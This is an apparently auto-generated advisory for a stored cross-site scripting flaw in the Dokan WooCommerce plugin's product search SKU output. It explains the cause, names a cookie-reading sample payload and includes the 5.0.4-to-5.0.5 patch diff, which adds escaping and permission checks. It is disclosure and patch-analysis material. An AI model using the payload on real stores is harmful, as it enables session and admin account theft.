Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-11783: Dokan: AI Powered WooCommerce Multivendor Marketplace Solution <= 5.0.4 Authenticated (Custom+) Stored Cross-Site Scripting via Product SKU PoC, Patch Analysis & Rule

Plugin dokan-lite
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.4
Patched Version 5.0.5
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11783: This vulnerability allows authenticated attackers with custom-level access or higher to inject stored cross-site scripting (XSS) via the product SKU field in the Dokan WooCommerce multivendor marketplace plugin. The attack targets the store search widget AJAX endpoint, which returns unsanitized product data. The injected script executes in the browsers of all site visitors, including unauthenticated users, due to jQuery’s .html() method processing the response.

The root cause lies in the file “/dokan-lite/includes/Product/Hooks.php” lines 129-153. The product search AJAX handler builds HTML output for search results using vendor-controlled product data: the SKU ($sku), product name ($get_name), and category names ($parent->name, $category->name). Before the patch, the SKU was concatenated directly: $output .= ‘

‘ . esc_html__( ‘SKU:’, ‘dokan-lite’ ) . ‘ ‘ . $sku . ‘

‘, with no esc_html() call on $sku. Similarly, $get_name and category names lacked escaping. The search results are injected into the DOM via jQuery’s .html() method, which interprets HTML tags. An attacker with product editing privileges can set a malicious SKU containing JavaScript.

Exploitation requires an authenticated account with at least custom-level access (the Dokan vendor or shop manager role). The attacker creates or edits a product and sets the SKU to a malicious payload like alert(document.cookie). When any user (including admins or visitors) uses the store search widget, the AJAX request hits the vulnerable endpoint, and the returned HTML containing the payload is inserted into the page via .html(), executing the script. The attacker needs no special privileges beyond the ability to edit product details.

The patch in version 5.0.5 adds esc_html() calls to three vulnerable outputs in “/dokan-lite/includes/Product/Hooks.php”: esc_html( $sku ) on line 153, esc_html( $get_name ) on line 133, and esc_html() on the category names. This escapes HTML entities so that becomes <script>, preventing script execution. The patch also adds esc_url() to the product permalink on line 130, though that was not directly exploitable for XSS. No structural changes to the AJAX handler or jQuery injection point were needed since escaping the output is sufficient.

Successful exploitation enables stored XSS that executes in all users’ browsers viewing search results, including administrators. Impact includes session hijacking, credential theft via keylogging or form capture, defacement, redirection to malicious websites, and privilege escalation for the attacker. The attacker could steal administrator cookies to gain full site control, install backdoor plugins, or exfiltrate sensitive data. Unauthenticated users are also affected if the search widget is publicly accessible, widening the attack surface significantly.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/dokan-lite/assets/js/components.asset.php
+++ b/dokan-lite/assets/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'aeeca4e1bc99c4509a21');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'f0e90796089291549e77');
--- a/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
+++ b/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'ed3689c282f6a28ab8c7');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'e1e36404032ded246205');
--- a/dokan-lite/assets/js/dokan-tailwind.asset.php
+++ b/dokan-lite/assets/js/dokan-tailwind.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'cad1dd82144b4683a743');
+<?php return array('dependencies' => array(), 'version' => 'a4b84f8ce2cf8b9c4b95');
--- a/dokan-lite/assets/js/frontend.asset.php
+++ b/dokan-lite/assets/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'a6eb66e5fe137882c8cf');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '352100595abea732cd55');
--- a/dokan-lite/assets/js/product-editor-store.asset.php
+++ b/dokan-lite/assets/js/product-editor-store.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-data'), 'version' => '6874793a775add0cf825');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-data', 'wp-i18n'), 'version' => 'e34f97aeb2a6877d7c54');
--- a/dokan-lite/assets/js/product-editor-utils.asset.php
+++ b/dokan-lite/assets/js/product-editor-utils.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'f7258d27b830040088c8');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'aa653a2708d298468842');
--- a/dokan-lite/assets/js/utilities.asset.php
+++ b/dokan-lite/assets/js/utilities.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wc-csv', 'wc-date'), 'version' => 'bf90477a237e82cf6a73');
+<?php return array('dependencies' => array('wc-csv', 'wc-date', 'wp-i18n'), 'version' => '59071d2a67f4bf914639');
--- a/dokan-lite/assets/js/vendor-dashboard/layout/index.asset.php
+++ b/dokan-lite/assets/js/vendor-dashboard/layout/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'c408fed91d629d8b27ff');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'c0fd74b925719a7bd393');
--- a/dokan-lite/dokan-class.php
+++ b/dokan-lite/dokan-class.php
@@ -27,7 +27,7 @@
      *
      * @var string
      */
-    public $version = '5.0.4';
+    public $version = '5.0.5';

     /**
      * Instance of self
--- a/dokan-lite/dokan.php
+++ b/dokan-lite/dokan.php
@@ -3,7 +3,7 @@
  * Plugin Name: Dokan
  * Plugin URI: https://dokan.co/wordpress/
  * Description: An e-commerce marketplace plugin for WordPress. Powered by WooCommerce and weDevs.
- * Version: 5.0.4
+ * Version: 5.0.5
  * Author: Dokan Inc.
  * Author URI: https://dokan.co/wordpress/
  * Text Domain: dokan-lite
--- a/dokan-lite/includes/Abstracts/DokanRESTController.php
+++ b/dokan-lite/includes/Abstracts/DokanRESTController.php
@@ -293,10 +293,14 @@
      * @return array
      */
     protected function prepare_objects_query( $request ) {
+        // Vendors are always scoped to their own objects; only a store admin may target another vendor via the id param.
+        $is_store_admin          = current_user_can( dokan_admin_menu_capability() );
+        $can_target_other_vendor = $is_store_admin && isset( $request['id'] );
+
         $args                        = array();
         $args['fields']              = 'ids';
         $args['post_status']         = ! isset( $request['post_status'] ) ? $this->post_status : $request['post_status'];
-        $args['author']              = ! isset( $request['id'] ) ? dokan_get_current_user_id() : $request['id'];
+        $args['author']              = $can_target_other_vendor ? (int) $request['id'] : dokan_get_current_user_id();
         $args['offset']              = $request['offset'];
         $args['order']               = $request['order'];
         $args['orderby']             = $request['orderby'];
--- a/dokan-lite/includes/Admin/Menu.php
+++ b/dokan-lite/includes/Admin/Menu.php
@@ -30,7 +30,7 @@
     public function add_admin_menu() {
         global $submenu;

-        $capability = dokana_admin_menu_capability();
+        $capability = dokan_admin_menu_capability();
         if ( ! current_user_can( $capability ) ) {
             return;
         }
--- a/dokan-lite/includes/Product/Hooks.php
+++ b/dokan-lite/includes/Product/Hooks.php
@@ -129,12 +129,13 @@
             }

             $output .= '<li>';
-            $output .= '<a href="' . get_post_permalink( $result->ID ) . '">';
+            // Escape every vendor-controlled value below before it is injected into the AJAX search markup.
+            $output .= '<a href="' . esc_url( get_post_permalink( $result->ID ) ) . '">';
             $output .= '<div class="dokan-ls-product-image">';
             $output .= '<img src="' . $get_product_image . '">';
             $output .= '</div>';
             $output .= '<div class="dokan-ls-product-data">';
-            $output .= '<h3>' . $get_name . '</h3>';
+            $output .= '<h3>' . esc_html( $get_name ) . '</h3>';

             if ( ! empty( $price ) ) {
                 $output .= '<div class="product-price">';
@@ -150,15 +151,15 @@
                 foreach ( $categories as $category ) {
                     if ( $category->parent ) {
                         $parent = get_term_by( 'id', $category->parent, 'product_cat' );
-                        $output .= '<span>' . $parent->name . '</span>';
+                        $output .= '<span>' . esc_html( $parent->name ) . '</span>';
                     }
-                    $output .= '<span>' . $category->name . '</span>';
+                    $output .= '<span>' . esc_html( $category->name ) . '</span>';
                 }
                 $output .= '</div>';
             }

             if ( ! empty( $sku ) ) {
-                $output .= '<div class="dokan-ls-product-sku">' . esc_html__( 'SKU:', 'dokan-lite' ) . ' ' . $sku . '</div>';
+                $output .= '<div class="dokan-ls-product-sku">' . esc_html__( 'SKU:', 'dokan-lite' ) . ' ' . esc_html( $sku ) . '</div>';
             }

             $output .= '</div>';
--- a/dokan-lite/includes/Product/functions.php
+++ b/dokan-lite/includes/Product/functions.php
@@ -484,7 +484,7 @@
     if ( current_user_can( 'dokan_edit_product' ) ) {
         $row_action['edit'] = [
             'title' => __( 'Edit', 'dokan-lite' ),
-            'url'   => $edit_url = '/dashboard/new/#products/' . $product_id . '/edit',
+            'url'   => dokan_edit_product_url( $product_id ),
             'class' => 'edit',
         ];
     }
--- a/dokan-lite/includes/ProductEditor/FormSchema.php
+++ b/dokan-lite/includes/ProductEditor/FormSchema.php
@@ -407,6 +407,9 @@

         $can_create_tags = dokan()->is_pro_exists() ? dokan_get_option( 'product_vendors_can_create_tags', 'dokan_selling', 'off' ) : 'off';

+        // Vendors may be restricted to a single product category via the admin selling settings.
+        $is_single_category = ProductCategoryHelper::product_category_selection_is_single();
+
         $dep_downloadable = [
             [
                 'comparison' => '==',
@@ -453,16 +456,18 @@
                 'label'      => __( 'General', 'dokan-lite' ),
                 'required'   => true,
                 'visibility' => true,
+                'is_mandatory' => true,
             ],
             [
                 'id'             => Elements::NAME,
-                'section_id'   => Elements::SECTION_GENERAL,
+                'section_id'     => Elements::SECTION_GENERAL,
                 'type'           => 'field',
                 'label'          => __( 'Title', 'dokan-lite' ),
                 'variant'        => 'text',
                 'placeholder'    => __( 'Enter product title...', 'dokan-lite' ),
                 'required'       => true,
                 'visibility'     => true,
+                'is_mandatory'   => true,
             ],
             [
                 'id'               => Elements::SLUG,
@@ -483,6 +488,7 @@
                 'variant'        => 'select',
                 'value'          => 'simple',
                 'required'       => true,
+                'is_mandatory'   => true,
                 'options'        => $this->get_product_types(),
                 'description'    => __( 'Choose Variable if your product has multiple attributes - like sizes, colors, quality etc', 'dokan-lite' ),
                 'tooltip'        => __( 'Choose product type.', 'dokan-lite' ),
@@ -579,11 +585,17 @@
                 'section_id'       => Elements::SECTION_GENERAL,
                 'type'             => 'field',
                 'label'            => __( 'Categories', 'dokan-lite' ),
-                'variant'          => 'multiselect',
+                'variant'          => 'async_select',
                 'placeholder'      => __( 'Select product categories', 'dokan-lite' ),
                 'value'            => [],
-                'options'          => ProductCategoryHelper::get_product_categories_tree( true ),
+                // Loaded on demand as a nested tree instead of embedding the whole
+                // category hierarchy in the schema, which bloats memory on large catalogs.
+                'api_endpoint'     => '/dokan/v1/products/categories/tree',
+                'tree'             => true,
+                // Honor the admin "single vs. multiple" category selection setting.
+                'multiple'         => ! $is_single_category,
                 'required'         => true,
+                'is_mandatory'     => true,
                 'visibility'       => true,
             ],
             [
@@ -591,10 +603,12 @@
                 'section_id'       => Elements::SECTION_GENERAL,
                 'type'             => 'field',
                 'label'            => __( 'Tags', 'dokan-lite' ),
-                'variant'          => 'multiselect',
+                'variant'          => 'async_select',
                 'placeholder'      => 'on' === $can_create_tags ? __( 'Select tags/Add tags', 'dokan-lite' ) : __( 'Select product tags', 'dokan-lite' ),
                 'value'            => [],
-                'options'          => self::get_product_tags(),
+                // Tags load on demand from WooCommerce core (searchable/paginated) instead of
+                // embedding the whole tag taxonomy in the schema, which can exhaust memory on large stores.
+                'api_endpoint'     => '/wc/v3/products/tags',
                 'creatable'        => 'on' === $can_create_tags,
                 'visibility'       => true,
             ],
@@ -646,6 +660,7 @@
                 'variant'        => 'editor',
                 'placeholder'    => __( 'Enter product description', 'dokan-lite' ),
                 'required'       => true,
+                'is_mandatory'   => true,
                 'visibility'     => true,
             ],
             [
@@ -862,6 +877,7 @@
                 'variant'      => 'select',
                 'options'      => dokan_get_product_visibility_options(),
                 'required'     => true,
+                'is_mandatory' => true,
                 'visibility'   => true,
             ],
             [
@@ -910,23 +926,55 @@
         $items = apply_filters( 'dokan_product_editor_prepared_schema', $items, $product_id );

         if ( $product instanceof WC_Product ) {
+            $values = $this->get_field_values( $items, $product );
             foreach ( $items as &$item ) {
-                if ( $item['type'] === 'field' ) {
-                    $value         = $this->resolve_field_value( $item['id'], $product );
-                    $value         = $this->format_field_value( $value, $item['variant'] ?? 'text' );
-                    if ( empty( $value ) && isset( $item['value'] ) ) {
-                        // set default value from schema if resolved value is empty, e.g. for new products or when product meta is not set.
-                        $value = $item['value'];
-                    }
-                    $item['value'] = $value;
+                if ( $item['type'] === 'field' && array_key_exists( $item['id'], $values ) ) {
+                    $item['value'] = $values[ $item['id'] ];
                 }
             }
+            unset( $item );
         }

         return $items;
     }

     /**
+     * Resolve and format values for a set of schema fields against a product.
+     *
+     * Lets callers that already hold field definitions resolve per-product
+     * values without rebuilding the whole schema. The frontend variation
+     * renderer uses this to avoid one full schema build per variation.
+     *
+     * @since 5.0.5
+     *
+     * @param array      $fields  Schema field items (each with at least 'id', 'type', 'variant').
+     * @param WC_Product $product Product to resolve values against.
+     *
+     * @return array<string, mixed> Map of field id => formatted value.
+     */
+    public function get_field_values( array $fields, WC_Product $product ): array {
+        $values = [];
+
+        foreach ( $fields as $field ) {
+            if ( ( $field['type'] ?? '' ) !== 'field' || ! isset( $field['id'] ) ) {
+                continue;
+            }
+
+            $value = $this->resolve_field_value( $field['id'], $product );
+            $value = $this->format_field_value( $value, $field['variant'] ?? 'text' );
+
+            if ( empty( $value ) && isset( $field['value'] ) ) {
+                // Fall back to the field's schema default, e.g. for new products or unset meta.
+                $value = $field['value'];
+            }
+
+            $values[ $field['id'] ] = $value;
+        }
+
+        return $values;
+    }
+
+    /**
      * Format a resolved field value to the shape expected by the frontend based on variant.
      *
      * Resolve_field_value() returns raw values (int, array of ints, etc.).
@@ -1029,8 +1077,21 @@
             case Elements::DATE_ON_SALE_TO:
                 $to = $product->get_date_on_sale_to( 'edit' );
                 return $to ? $to->date( 'Y-m-d' ) : '';
+            case Elements::CATEGORIES:
+                // Async select expects [ { value, label }, ... ] so selected categories render
+                // without the full category tree being embedded in the schema.
+                $category_options = self::terms_to_async_options( $product->get_category_ids(), 'product_cat' );
+
+                // Single-category stores keep one selection; surface only the first saved term.
+                if ( ProductCategoryHelper::product_category_selection_is_single() ) {
+                    return array_slice( $category_options, 0, 1 );
+                }
+
+                return $category_options;
             case Elements::TAGS:
-                return $product->get_tag_ids();
+                // Async select expects [ { value, label }, ... ] so selected tags render
+                // without the full tag list being embedded in the schema.
+                return self::terms_to_async_options( $product->get_tag_ids(), 'product_tag' );
             case Elements::BRANDS:
                 if ( method_exists( $product, 'get_brand_ids' ) ) {
                     return $product->get_brand_ids();
@@ -1121,6 +1182,50 @@
     }

     /**
+     * Convert a list of term IDs to async-select options: [ { value, label }, ... ].
+     *
+     * Used by async-select fields (e.g. tags) so the currently selected terms render
+     * their labels without embedding the whole taxonomy in the form schema.
+     *
+     * @since 5.0.5
+     *
+     * @param array  $term_ids Term IDs.
+     * @param string $taxonomy Taxonomy name.
+     *
+     * @return array
+     */
+    public static function terms_to_async_options( array $term_ids, string $taxonomy ): array {
+        $term_ids = array_filter( array_map( 'absint', $term_ids ) );
+        if ( empty( $term_ids ) ) {
+            return [];
+        }
+
+        $terms = get_terms(
+            [
+                'taxonomy'   => $taxonomy,
+                'include'    => $term_ids,
+                'hide_empty' => false,
+                'orderby'    => 'name',
+                'order'      => 'ASC',
+            ]
+        );
+
+        if ( is_wp_error( $terms ) ) {
+            return [];
+        }
+
+        return array_map(
+            function ( $term ) {
+                return [
+                    'value' => $term->term_id,
+                    'label' => $term->name,
+                ];
+            },
+            $terms
+        );
+    }
+
+    /**
      * Get product brands recursively for form options.
      *
      * @since 5.0.0
--- a/dokan-lite/includes/ProductEditor/PayloadResolver.php
+++ b/dokan-lite/includes/ProductEditor/PayloadResolver.php
@@ -150,6 +150,12 @@

         $result = [];
         foreach ( $tags as $tag ) {
+            // Async-select sends option objects: [ { value, label, __isNew__ }, ... ].
+            // Existing tags carry a numeric term ID as value; newly created ones carry the typed name.
+            if ( is_array( $tag ) && isset( $tag['value'] ) ) {
+                $tag = $tag['value'];
+            }
+
             if ( is_numeric( $tag ) && (int) $tag > 0 ) {
                 $result[] = [ 'id' => (int) $tag ];
                 continue;
@@ -340,6 +346,10 @@
     public function map_ids_to_objects( array $ids ): array {
         return array_map(
             static function ( $id ) {
+                // Async-select sends option objects [ { value, label }, ... ]; pull the id out.
+                if ( is_array( $id ) && isset( $id['value'] ) ) {
+                    $id = $id['value'];
+                }
                 return [ 'id' => (int) $id ];
             },
             $ids
--- a/dokan-lite/includes/REST/ProductAttributeController.php
+++ b/dokan-lite/includes/REST/ProductAttributeController.php
@@ -63,6 +63,57 @@
                 ),
             )
         );
+
+        // REST API for lazily fetching / creating terms of a global attribute.
+        register_rest_route(
+            $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)/terms',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::READABLE,
+                    'callback'            => array( $this, 'get_attribute_terms' ),
+                    'permission_callback' => array( $this, 'get_items_permissions_check' ),
+                    'args'                => array(
+                        'id'       => array(
+                            'description' => __( 'Attribute ID.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'required'    => true,
+                        ),
+                        'search'   => array(
+                            'description' => __( 'Limit results to terms matching a string.', 'dokan-lite' ),
+                            'type'        => 'string',
+                        ),
+                        'page'     => array(
+                            'description' => __( 'Current page of the collection.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'default'     => 1,
+                        ),
+                        'per_page' => array(
+                            'description' => __( 'Maximum number of terms to return in the result set.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'default'     => 20,
+                        ),
+                    ),
+                ),
+                array(
+                    'methods'             => WP_REST_Server::CREATABLE,
+                    'callback'            => array( $this, 'create_attribute_term' ),
+                    'permission_callback' => array( $this, 'create_attribute_term_permissions_check' ),
+                    'args'                => array(
+                        'id'   => array(
+                            'description' => __( 'Attribute ID.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'required'    => true,
+                        ),
+                        'name' => array(
+                            'description'       => __( 'Term name.', 'dokan-lite' ),
+                            'type'              => 'string',
+                            'required'          => true,
+                            'sanitize_callback' => 'sanitize_text_field',
+                        ),
+                    ),
+                ),
+            )
+        );
     }

     /**
@@ -129,6 +180,30 @@
     }

     /**
+     * Check if a given request has access to create a new attribute term.
+     *
+     * Creating terms is only allowed when vendors are permitted to add new
+     * attributes from the selling options.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return bool|WP_Error
+     */
+    public function create_attribute_term_permissions_check( $request ) {
+        if ( 'on' !== dokan_get_option( 'add_new_attribute', 'dokan_selling', 'off' ) ) {
+            return new WP_Error(
+                'dokan_rest_cannot_create',
+                __( 'Sorry, you are not allowed to create new attribute terms.', 'dokan-lite' ),
+                array( 'status' => rest_authorization_required_code() )
+            );
+        }
+
+        return current_user_can( 'dokan_edit_product' );
+    }
+
+    /**
      * Check if a given request has access to delete a attribute.
      *
      * @param  WP_REST_Request $request Full details about the request.
@@ -271,4 +346,131 @@

         return rest_ensure_response( $is_saved );
     }
+
+    /**
+     * Resolve a global attribute taxonomy from its attribute ID.
+     *
+     * @since 5.0.5
+     *
+     * @param int $attribute_id Global attribute ID.
+     *
+     * @return string|WP_Error Taxonomy name, or error if the attribute is invalid.
+     */
+    protected function get_attribute_taxonomy_by_id( $attribute_id ) {
+        $taxonomy = wc_attribute_taxonomy_name_by_id( absint( $attribute_id ) );
+
+        if ( empty( $taxonomy ) || ! taxonomy_exists( $taxonomy ) ) {
+            return new WP_Error( 'dokan_rest_attribute_invalid', __( 'Invalid attribute.', 'dokan-lite' ), [ 'status' => 404 ] );
+        }
+
+        return $taxonomy;
+    }
+
+    /**
+     * Format a term for the product editor response.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_Term $term Term object.
+     *
+     * @return array
+     */
+    protected function prepare_attribute_term( $term ) {
+        return [
+            'id'    => $term->term_id,
+            'name'  => $term->name,
+            'value' => $term->term_id,
+            'label' => $term->name,
+        ];
+    }
+
+    /**
+     * Get terms of a global product attribute (searchable + paginated).
+     *
+     * Terms are loaded lazily by the product editor instead of being embedded
+     * into the form schema, so stores with very large attribute taxonomies do
+     * not exhaust memory while building the editor payload.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_Error|WP_REST_Response
+     */
+    public function get_attribute_terms( $request ) {
+        $taxonomy = $this->get_attribute_taxonomy_by_id( $request['id'] );
+
+        if ( is_wp_error( $taxonomy ) ) {
+            return $taxonomy;
+        }
+
+        $per_page = absint( $request['per_page'] );
+        $per_page = $per_page > 0 ? $per_page : 20;
+        $page     = max( 1, absint( $request['page'] ) );
+        $search   = isset( $request['search'] ) ? sanitize_text_field( wp_unslash( $request['search'] ) ) : '';
+
+        $args = [
+            'taxonomy'   => $taxonomy,
+            'hide_empty' => false,
+            'number'     => $per_page,
+            'offset'     => ( $page - 1 ) * $per_page,
+            'orderby'    => 'name',
+            'order'      => 'ASC',
+        ];
+
+        if ( '' !== $search ) {
+            $args['search'] = $search;
+        }
+
+        $terms = get_terms( $args );
+
+        if ( is_wp_error( $terms ) ) {
+            return rest_ensure_response( [] );
+        }
+
+        return rest_ensure_response( array_map( [ $this, 'prepare_attribute_term' ], $terms ) );
+    }
+
+    /**
+     * Create a new term for a global product attribute.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_Error|WP_REST_Response
+     */
+    public function create_attribute_term( $request ) {
+        $taxonomy = $this->get_attribute_taxonomy_by_id( $request['id'] );
+
+        if ( is_wp_error( $taxonomy ) ) {
+            return $taxonomy;
+        }
+
+        $name = sanitize_text_field( wp_unslash( $request['name'] ) );
+
+        if ( '' === $name ) {
+            return new WP_Error( 'dokan_rest_term_name_required', __( 'Term name is required.', 'dokan-lite' ), [ 'status' => 400 ] );
+        }
+
+        // Return the existing term instead of erroring when the term already exists.
+        $existing = get_term_by( 'name', $name, $taxonomy );
+        if ( $existing && ! is_wp_error( $existing ) ) {
+            return rest_ensure_response( $this->prepare_attribute_term( $existing ) );
+        }
+
+        $inserted = wp_insert_term( $name, $taxonomy );
+
+        if ( is_wp_error( $inserted ) ) {
+            return new WP_Error( 'dokan_rest_cannot_create_term', $inserted->get_error_message(), [ 'status' => 400 ] );
+        }
+
+        $term = get_term( $inserted['term_id'], $taxonomy );
+
+        if ( ! $term || is_wp_error( $term ) ) {
+            return new WP_Error( 'dokan_rest_cannot_create_term', __( 'Failed to create attribute term.', 'dokan-lite' ), [ 'status' => 400 ] );
+        }
+
+        return rest_ensure_response( $this->prepare_attribute_term( $term ) );
+    }
 }
--- a/dokan-lite/includes/REST/ProductController.php
+++ b/dokan-lite/includes/REST/ProductController.php
@@ -489,11 +489,31 @@
      * Get_single_product_permissions_check
      *
      * @since 2.8.0
+     * @since 5.0.5 Added check for dokan_is_product_author()
      *
      * @return bool
      */
-    public function get_single_product_permissions_check() {
-        return current_user_can( 'dokandar' ) || current_user_can( 'manage_options' );
+    public function get_single_product_permissions_check( $request ) {
+        // Store admins may read any product.
+        if ( current_user_can( 'manage_options' ) ) {
+            return true;
+        }
+
+        if ( ! current_user_can( 'dokandar' ) ) {
+            return false;
+        }
+
+        // A vendor may only read their own product.
+        $request_id = (int) ( $request['id'] ?? 0 );
+        if ( ! dokan_is_product_author( $request_id ) ) {
+            return new WP_Error(
+                'dokan_rest_cannot_view',
+                __( 'Sorry, you are not allowed to view this product.', 'dokan-lite' ),
+                [ 'status' => rest_authorization_required_code() ]
+            );
+        }
+
+        return true;
     }

     /**
--- a/dokan-lite/includes/REST/ProductControllerV2.php
+++ b/dokan-lite/includes/REST/ProductControllerV2.php
@@ -274,7 +274,7 @@
         $product_types  = apply_filters( 'dokan_product_types', [ 'simple' => __( 'Simple', 'dokan-lite' ) ] );

         // If any vendor it trying to access other products then we need to replace author id by current user id.
-        if ( ! current_user_can( dokana_admin_menu_capability() ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) ) {
             $args['author'] = dokan_get_current_user_id();
         } elseif ( $request->get_param( 'author' ) ) {
             $args['author'] = $request->get_param( 'author' );
--- a/dokan-lite/includes/REST/ReverseWithdrawalController.php
+++ b/dokan-lite/includes/REST/ReverseWithdrawalController.php
@@ -233,7 +233,7 @@
         $manager                  = new Manager();
         $items                    = [];

-        if ( ! current_user_can( dokana_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
             $request_params['vendor_id'] = dokan_get_current_user_id();
         }

@@ -293,7 +293,7 @@
     public function get_vendor_due_status( $request ) {
         $request_params = $request->get_params();

-        if ( ! current_user_can( dokana_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
             $request_params['vendor_id'] = dokan_get_current_user_id();
         }

@@ -498,7 +498,7 @@
      * @return WP_REST_Response
      */
     public function prepare_transaction_for_response( $item, $request, &$current_balance ) {
-        $context = current_user_can( dokana_admin_menu_capability() ) ? 'admin' : 'seller';
+        $context = current_user_can( dokan_admin_menu_capability() ) ? 'admin' : 'seller';
         $data = Helper::get_formated_transaction_data( $item, $current_balance, $context );

         // Decode HTML entities in URL (wp_nonce_url encodes & as & which breaks in JSON/React context).
--- a/dokan-lite/includes/REST/VendorProductCategoriesController.php
+++ b/dokan-lite/includes/REST/VendorProductCategoriesController.php
@@ -7,6 +7,7 @@
 use WP_REST_Response;
 use WC_REST_Product_Categories_Controller;
 use WP_REST_Server;
+use WeDevsDokanProductCategoryHelper as ProductCategoryHelper;

